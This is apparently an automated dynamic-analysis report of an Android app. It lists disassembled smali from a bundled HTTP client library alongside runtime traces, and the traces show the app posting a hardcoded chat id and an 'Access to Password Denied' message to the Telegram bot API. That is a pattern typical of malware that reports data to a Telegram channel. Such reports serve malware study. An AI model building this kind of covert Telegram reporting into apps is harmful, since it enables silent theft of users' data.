        132invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        133goto/16 :goto_d5
        134cond_b0:
        135iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->queryParams:Ljava/util/List;
        136if-eqz v1, :cond_c3
        138const-string v1, "?"
        140invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        142iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->queryParams:Ljava/util/List;
        144invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodeUrlForm(Ljava/util/List;)Ljava/lang/String;
        145move-result-object v1
        147invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148goto/16 :goto_d5
        149cond_c3:
        150iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->query:Ljava/lang/String;
        151if-eqz v1, :cond_d5
        153const-string v1, "?"
        155invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        157iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->query:Ljava/lang/String;
        159invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodeUric(Ljava/lang/String;)Ljava/lang/String;
        160move-result-object v1
        162invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        163goto_d5:
        164iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedFragment:Ljava/lang/String;
        165if-eqz v1, :cond_e4
        167const-string v1, "#"
        169invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        171iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedFragment:Ljava/lang/String;
        173invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        174goto/16 :goto_f6
        175cond_e4:
        176iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->fragment:Ljava/lang/String;
        177if-eqz v1, :cond_f6
        179const-string v1, "#"
        181invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        183iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->fragment:Ljava/lang/String;
        185invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodeUric(Ljava/lang/String;)Ljava/lang/String;
        186move-result-object v1
        188invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        189goto_f6:
        190invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        191move-result-object v0
        192return-object v0
        Cross References
        APIs
        • java.lang.String.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        Strings
        • 1
        • 200
        • Access-Control-Allow-Methods
        • Access-Control-Allow-Origin
        • Access-Control-Expose-Headers
        • Connection
        • Content-Length
        • Content-Type
        • Date
        • OK
        • Server
        • Strict-Transport-Security
        • chat_id
        • text
        • beginIndex:
        • > endIndex:
        • endIndex:
        • > length:
        • Negative beginIndex:
        Position Instruction Meta Information
        0if-ltz p1, :cond_71
        1iget v0, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->len:I
        2if-gt p2, v0, :cond_50
        3if-gt p1, p2, :cond_31
        4goto_8: if-ge p1, p2, :cond_17
        6iget-object v0, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        7aget-char v0, v0, p1
        9invoke-static {v0}, Lcz/msebera/android/httpclient/protocol/HTTP;->isWhitespace(C)Z
        10move-result v0
        11if-eqz v0, :cond_17
        12add-int/lit8 p1, p1, 0x1
        13goto/16 :goto_8
        14cond_17: if-le p2, p1, :cond_28
        16iget-object v0, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        17add-int/lit8 v1, p2, -0x1
        18aget-char v0, v0, v1
        20invoke-static {v0}, Lcz/msebera/android/httpclient/protocol/HTTP;->isWhitespace(C)Z
        21move-result v0
        22if-eqz v0, :cond_28
        23add-int/lit8 p2, p2, -0x1
        24goto/16 :goto_17
        25cond_28: new-instance v0, Ljava/lang/String;
        27iget-object v1, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        28sub-int/2addr p2, p1
        30invoke-direct {v0, v1, p1, p2}, Ljava/lang/String;-><init>([CII)V
        • Time: 1303091
          • This:
            • chat_id
          • p0: [C@85cca7e
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
          • p1: java.lang.Integer@a8cbdf
          • p2: 7
          • Return:
            • chat_id
        • Time: 1303102
          • This:
            • text
          • p0: [C@85cca7e
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
          • p1: 18
          • p2: 4
          • Return:
            • text
        • Time: 1303937
          • This:
            • 1
          • p0: [C@a646bc8
          • p0: HTTP/1.1 200 OK
          • p1: 5
          • p2: 1
          • Return:
            • 1
        • Time: 1303939
          • This:
            • 1
          • p0: [C@a646bc8
          • p0: HTTP/1.1 200 OK
          • p1: 7
          • p2: 1
          • Return:
            • 1
        • Time: 1303941
          • This:
            • 200
          • p0: [C@a646bc8
          • p0: HTTP/1.1 200 OK
          • p1: 9
          • p2: java.lang.Integer@a01df76
          • Return:
            • 200
        • Time: 1303943
          • This:
            • OK
          • p0: [C@a646bc8
          • p0: HTTP/1.1 200 OK
          • p1: 13
          • p2: 2
          • Return:
            • OK
        • Time: 1304006
          • This:
            • Server
          • p0: [C@22deaa4
          • p0: Server: nginx/1.12.2
          • p1: java.lang.Integer@a8cbdf
          • p2: 6
          • Return:
            • Server
        • Time: 1304016
          • This:
            • Date
          • p0: [C@c76120e
          • p0: Date: Tue, 12 Feb 2019 13:29:49 GMT
          • p1: java.lang.Integer@a8cbdf
          • p2: 4
          • Return:
            • Date
        • Time: 1304022
          • This:
            • Content-Type
          • p0: [C@1ea3c
          • p0: Content-Type: application/json
          • p1: java.lang.Integer@a8cbdf
          • p2: 12
          • Return:
            • Content-Type
        • Time: 1304040
          • This:
            • Content-Length
          • p0: [C@faed44b
          • p0: Content-Length: 243
          • p1: java.lang.Integer@a8cbdf
          • p2: 14
          • Return:
            • Content-Length
        • Time: 1304044
          • This:
            • Connection
          • p0: [C@a2654e6
          • p0: Connection: keep-alive
          • p1: java.lang.Integer@a8cbdf
          • p2: 10
          • Return:
            • Connection
        • Time: 1304048
          • This:
            • Access-Control-Allow-Origin
          • p0: [C@ec5167d
          • p0: Access-Control-Allow-Origin: *
          • p1: java.lang.Integer@a8cbdf
          • p2: 27
          • Return:
            • Access-Control-Allow-Origin
        • Time: 1304053
          • This:
            • Access-Control-Allow-Methods
          • p0: [C@fe9da40
          • p0: Access-Control-Allow-Methods: GET, POST, OPTIONS
          • p1: java.lang.Integer@a8cbdf
          • p2: 28
          • Return:
            • Access-Control-Allow-Methods
        • Time: 1304061
          • This:
            • Access-Control-Expose-Headers
          • p0: [C@4e2771f
          • p0: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • p1: java.lang.Integer@a8cbdf
          • p2: 29
          • Return:
            • Access-Control-Expose-Headers
        • Time: 1304065
          • This:
            • Strict-Transport-Security
          • p0: [C@4c024ca
          • p0: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
          • p1: java.lang.Integer@a8cbdf
          • p2: 25
          • Return:
            • Strict-Transport-Security
        31return-object v0
        32cond_31: new-instance v0, Ljava/lang/IndexOutOfBoundsException;
        33new-instance v1, Ljava/lang/StringBuilder;
        35invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        37const-string v2, "beginIndex: "
        39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        43const-string p1, " > endIndex: "
        45invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        50move-result-object p1
        52invoke-direct {v0, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        53throw v0
        54cond_50: new-instance p1, Ljava/lang/IndexOutOfBoundsException;
        55new-instance v0, Ljava/lang/StringBuilder;
        57invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        59const-string v1, "endIndex: "
        61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        65const-string p2, " > length: "
        67invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68iget p2, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->len:I
        70invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        72invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        73move-result-object p2
        75invoke-direct {p1, p2}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        76throw p1
        77cond_71: new-instance p2, Ljava/lang/IndexOutOfBoundsException;
        78new-instance v0, Ljava/lang/StringBuilder;
        80invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        82const-string v1, "Negative beginIndex: "
        84invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        86invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        88invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        89move-result-object p1
        91invoke-direct {p2, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        92throw p2
        Cross References
        APIs
        • java.util.concurrent.locks.Lock.lock
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.remove
        • java.lang.System.currentTimeMillis
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Set.add
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Getting free connection [
        • ][
        • ]
        • Closing expired free connection [
        • No free connections [
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        3invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
        4const/4 v0, 0x0
        5const/4 v1, 0x1
        6const/4 v2, 0x0
        7goto_8: if-nez v0, :cond_c9
        8try_start_a:
        9invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->allocEntry(Ljava/lang/Object;)Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        10move-result-object v2
        11if-eqz v2, :cond_90
        13iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        15invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        16move-result v3
        17if-eqz v3, :cond_3f
        19iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        20new-instance v4, Ljava/lang/StringBuilder;
        22invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        24const-string v5, "Getting free connection ["
        26invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        29move-result-object v5
        31invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        33const-string v5, "]["
        35invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        37invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        39const-string v5, "]"
        41invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        44move-result-object v4
        46invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        47cond_3f:
        48iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        50invoke-interface {v3, v2}, Ljava/util/Queue;->remove(Ljava/lang/Object;)Z
        52invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        53move-result-wide v3
        55invoke-virtual {v2, v3, v4}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->isExpired(J)Z
        56move-result v3
        57if-eqz v3, :cond_8a
        59iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        61invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        62move-result v3
        63if-eqz v3, :cond_7d
        65iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        66new-instance v4, Ljava/lang/StringBuilder;
        68invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        70const-string v5, "Closing expired free connection ["
        72invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        74invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        75move-result-object v5
        77invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        79const-string v5, "]["
        81invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        83invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        85const-string v5, "]"
        87invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        90move-result-object v4
        92invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        93cond_7d:
        94invoke-direct {p0, v2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        96invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->dropEntry()V
        97iget v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        98sub-int/2addr v3, v1
        99iput v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        100goto/16 :goto_8
        101cond_8a:
        102iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        104invoke-interface {v0, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
        105goto/16 :goto_bf
        106cond_90:
        107iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        109invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302430
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@873b27
          • Return:
            • false
        110move-result v0
        111if-eqz v0, :cond_bf
        113iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        114new-instance v3, Ljava/lang/StringBuilder;
        116invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        118const-string v4, "No free connections ["
        120invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        122invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        123move-result-object v4
        125invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        127const-string v4, "]["
        129invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        131invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        133const-string v4, "]"
        135invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        137invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        138move-result-object v3
        140invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        141try_end_bf: const/4 v0, 0x1
        142goto/16 :goto_8
        143catchall_c2: move-exception p1
        145iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        147invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        148throw p1
        149cond_c9:
        150iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        152invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        153return-object v2
        Cross References
        APIs
        • cz.msebera.android.httpclient.HttpHost.getHostName
        • cz.msebera.android.httpclient.HttpHost.getSchemeName
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.RedirectException.<init>
        Strings
        • http.target_host
        • api.telegram.org
        • https
        • Resetting target auth state
        • Resetting proxy auth state
        • Redirecting to \'
        • \' via
        • Redirect URI does not specify a valid host name:
        • Maximum redirects (
        • ) exceeded
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        6move-object/from16 v0, p0
        7move-object/from16 v8, p2
        8move-object/from16 v9, p3
        10invoke-virtual/range {p1 .. p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        11move-result-object v10
        13invoke-virtual/range {p1 .. p1}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRequest()Lcz/msebera/android/httpclient/impl/client/RequestWrapper;
        14move-result-object v11
        16invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        17move-result-object v12
        19invoke-static {v12}, Lcz/msebera/android/httpclient/client/params/HttpClientParams;->isAuthenticating(Lcz/msebera/android/httpclient/params/HttpParams;)Z
        20move-result v2
        21if-eqz v2, :cond_9b
        23const-string v2, "http.target_host"
        25invoke-interface {v9, v2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        26move-result-object v2
        27check-cast v2, Lcz/msebera/android/httpclient/HttpHost;
        28if-nez v2, :cond_26
        30invoke-virtual {v10}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        31move-result-object v2
        32cond_26:
        33invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        34move-result v3
        35if-gez v3, :cond_49
        37iget-object v3, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->connManager:Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        39invoke-interface {v3}, Lcz/msebera/android/httpclient/conn/ClientConnectionManager;->getSchemeRegistry()Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        40move-result-object v3
        42invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;->getScheme(Lcz/msebera/android/httpclient/HttpHost;)Lcz/msebera/android/httpclient/conn/scheme/Scheme;
        43move-result-object v3
        44new-instance v4, Lcz/msebera/android/httpclient/HttpHost;
        46invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        • Time: 1304733
          • This:
            • https://api.telegram.org
          • Return:
            • api.telegram.org
        47move-result-object v5
        49invoke-virtual {v3}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->getDefaultPort()I
        50move-result v3
        52invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        • Time: 1304735
          • This:
            • https://api.telegram.org
          • Return:
            • https
        53move-result-object v2
        55invoke-direct {v4, v5, v3, v2}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        56move-object v13, v4
        57goto/16 :goto_4a
        58cond_49: move-object v13, v2
        59goto_4a:
        60iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        62iget-object v5, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        64iget-object v6, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        65move-object v3, v13
        66move-object/from16 v4, p2
        67move-object/from16 v7, p3
        69invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->isAuthenticationRequested(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        70move-result v14
        72invoke-virtual {v10}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getProxyHost()Lcz/msebera/android/httpclient/HttpHost;
        73move-result-object v2
        74if-nez v2, :cond_63
        76invoke-virtual {v10}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        77move-result-object v2
        78cond_63: move-object v15, v2
        80iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        82iget-object v5, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        84iget-object v6, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        85move-object v3, v15
        86move-object/from16 v4, p2
        87move-object/from16 v7, p3
        89invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->isAuthenticationRequested(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        90move-result v16
        91if-eqz v14, :cond_87
        93iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        95iget-object v5, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        97iget-object v6, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        98move-object v3, v13
        99move-object/from16 v4, p2
        100move-object/from16 v7, p3
        102invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->authenticate(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        103move-result v2
        104if-eqz v2, :cond_87
        105return-object p1
        106cond_87: if-eqz v16, :cond_9b
        108iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        110iget-object v5, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        112iget-object v6, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        113move-object v3, v15
        114move-object/from16 v4, p2
        115move-object/from16 v7, p3
        117invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;->authenticate(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        118move-result v2
        119if-eqz v2, :cond_9b
        120return-object p1
        121cond_9b:
        122invoke-static {v12}, Lcz/msebera/android/httpclient/client/params/HttpClientParams;->isRedirecting(Lcz/msebera/android/httpclient/params/HttpParams;)Z
        123move-result v1
        124const/4 v2, 0x0
        125if-eqz v1, :cond_16f
        127iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        129invoke-interface {v1, v11, v8, v9}, Lcz/msebera/android/httpclient/client/RedirectStrategy;->isRedirected(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        130move-result v1
        131if-eqz v1, :cond_16f
        132iget v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectCount:I
        133iget v3, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->maxRedirects:I
        134if-ge v1, v3, :cond_151
        135iget v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectCount:I
        136add-int/lit8 v1, v1, 0x1
        137iput v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectCount:I
        138iput-object v2, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        140iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        142invoke-interface {v1, v11, v8, v9}, Lcz/msebera/android/httpclient/client/RedirectStrategy;->getRedirect(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        143move-result-object v1
        145invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getOriginal()Lcz/msebera/android/httpclient/HttpRequest;
        146move-result-object v2
